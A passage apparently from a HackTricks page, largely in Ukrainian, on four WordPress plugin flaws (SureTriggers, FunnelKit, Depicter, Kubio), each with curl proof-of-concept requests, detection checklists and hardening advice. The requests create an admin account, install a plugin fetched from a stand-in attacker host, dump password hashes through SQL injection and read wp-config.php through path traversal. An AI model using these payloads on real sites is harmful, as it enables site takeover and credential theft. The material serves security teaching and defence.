curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/connection/create-wp-connection" \
-H 'Content-Type: application/json' \
--data '{"username":"admin"}'
# → {"key":"<conn_key>", ...}

# 2) Call privileged plugin action using the minted key (namespace/route vary per plugin)
curl -s -X POST "https://victim.tld/wp-json/sure-triggers/v1/users" \
-H 'Content-Type: application/json' \
-H 'X-Connection-Key: <conn_key>' \
--data '{"username":"pwn","email":"p@t.ld","password":"p@ss","role":"administrator"}'

Why it’s exploitable

  • Чутливий REST route захищений лише низькоентропійним доказом ідентичності (username) або відсутнім permission_callback
  • Відсутня перевірка capability; згенерований ключ сприймається як універсальний обхід

Detection checklist

  • Grep код плагіна на register_rest_route(..., [ 'permission_callback' => '__return_true' ])
  • Будь-який маршрут, що видає tokens/keys на основі identity, наданої в запиті (username/email), без прив'язки до автентифікованого користувача або capability
  • Шукайте наступні маршрути, які приймають згенерований token/key без серверних перевірок capability

Hardening

  • Для будь-якого привілейованого REST route: вимагайте permission_callback, який застосовує current_user_can() для потрібної capability
  • Не створюйте довготривалі keys на основі identity, переданої клієнтом; якщо потрібно, видавайте короткоживучі, прив'язані до користувача tokens після автентифікації та повторно перевіряйте capability при використанні
  • Перевіряйте контекст користувача, який викликає (wp_set_current_user недостатньо сам по собі) і відхиляйте запити, де !is_user_logged_in() || !current_user_can()

Зловживання Nonce gate → неавторизована довільна інсталяція плагіна (FunnelKit Automations ≤ 3.5.3)

Nonces запобігають CSRF, а не авторизації. Якщо код трактує успішну перевірку nonce як зелений сигнал і пропускає перевірки прав для привілейованих операцій (наприклад, install/activate plugins), неавторизовані атакуючі можуть задовольнити слабку вимогу nonce і досягти RCE, встановивши плагін з бекдором або уразливий плагін.

  • Vulnerable path: plugin/install_and_activate
  • Недолік: weak nonce hash check; no current_user_can('install_plugins'|'activate_plugins') once nonce “passes”
  • Наслідок: повне скомпрометування через довільне встановлення/активацію плагіна

PoC (форма залежить від плагіна; лише ілюстрація)

bash
curl -i -s -X POST https://victim.tld/wp-json/<fk-namespace>/plugin/install_and_activate \
-H 'Content-Type: application/json' \
--data '{"_nonce":"<weak-pass>","slug":"hello-dolly","source":"https://attacker.tld/mal.zip"}'

Чекліст виявлення

  • REST/AJAX handlers that modify plugins/themes with only wp_verify_nonce()/check_admin_referer() and no capability check
  • Any code path that sets $skip_caps = true after nonce validation

Зміцнення

  • Завжди трактуйте nonces як CSRF tokens тільки; вимагайте capability checks незалежно від стану nonce
  • Вимагайте current_user_can('install_plugins') і current_user_can('activate_plugins') перед виконанням коду інсталятора
  • Відхиляйте неавторизований доступ; уникайте експонування nopriv AJAX actions для привілейованих потоків

Неавторизований SQLi через параметр s (search) в діях depicter-* (Depicter Slider ≤ 3.6.1)

Кілька depicter-* actions використовували параметр s (search) і конкатенували його в SQL-запити без параметризації.

  • Параметр: s (search)
  • Вразливість: пряма конкатенація рядка в WHERE/LIKE clauses; no prepared statements/sanitization
  • Вплив: database exfiltration (users, hashes), lateral movement

PoC

bash
# Replace action with the affected depicter-* handler on the target
curl -G "https://victim.tld/wp-admin/admin-ajax.php" \
--data-urlencode 'action=depicter_search' \
--data-urlencode "s=' UNION SELECT user_login,user_pass FROM wp_users-- -"

Detection checklist

  • Шукати (grep) обробники дій depicter-* та пряме використання $_GET['s'] або $_POST['s'] в SQL
  • Переглянути кастомні запити, передані в $wpdb->get_results()/query(), які конкатенують s

Hardening

  • Завжди використовувати $wpdb->prepare() або wpdb-плейсхолдери; відкидати несподівані метасимволи на сервері
  • Додати суворий allowlist для s і нормалізувати до очікуваної charset/length

Unauthenticated Local File Inclusion via unvalidated template/file path (Kubio AI Page Builder ≤ 2.5.1)

Прийняття шляхів, контрольованих атакуючим, у параметрі шаблону без нормалізації/обмеження дозволяє читати довільні локальні файли, а іноді — виконувати код, якщо включені PHP/лог-файли потрапляють у середовище виконання.

  • Parameter: __kubio-site-edit-iframe-classic-template
  • Flaw: no normalization/allowlisting; traversal permitted
  • Impact: secret disclosure (wp-config.php), potential RCE in specific environments (log poisoning, includable PHP)

PoC – read wp-config.php

bash
curl -i "https://victim.tld/?__kubio-site-edit-iframe-classic-template=../../../../wp-config.php"

Чекліст виявлення

  • Будь-який handler, який конкатенує шляхи запитів у include()/require()/read sinks без обмеження через realpath()
  • Шукати патерни traversal (../), які виходять за межі призначеної директорії templates

Зміцнення

  • Застосовувати allowlisted templates; вирішувати за допомогою realpath() і вимагати str_starts_with(realpath(file), realpath(allowed_base))
  • Нормалізувати вхідні дані; відхиляти traversal-послідовності та абсолютні шляхи; використовувати sanitize_file_name() лише для імен файлів (не для повних шляхів)

Посилання

tip

Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE) Вивчайте та практикуйте Azure Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Підтримайте HackTricks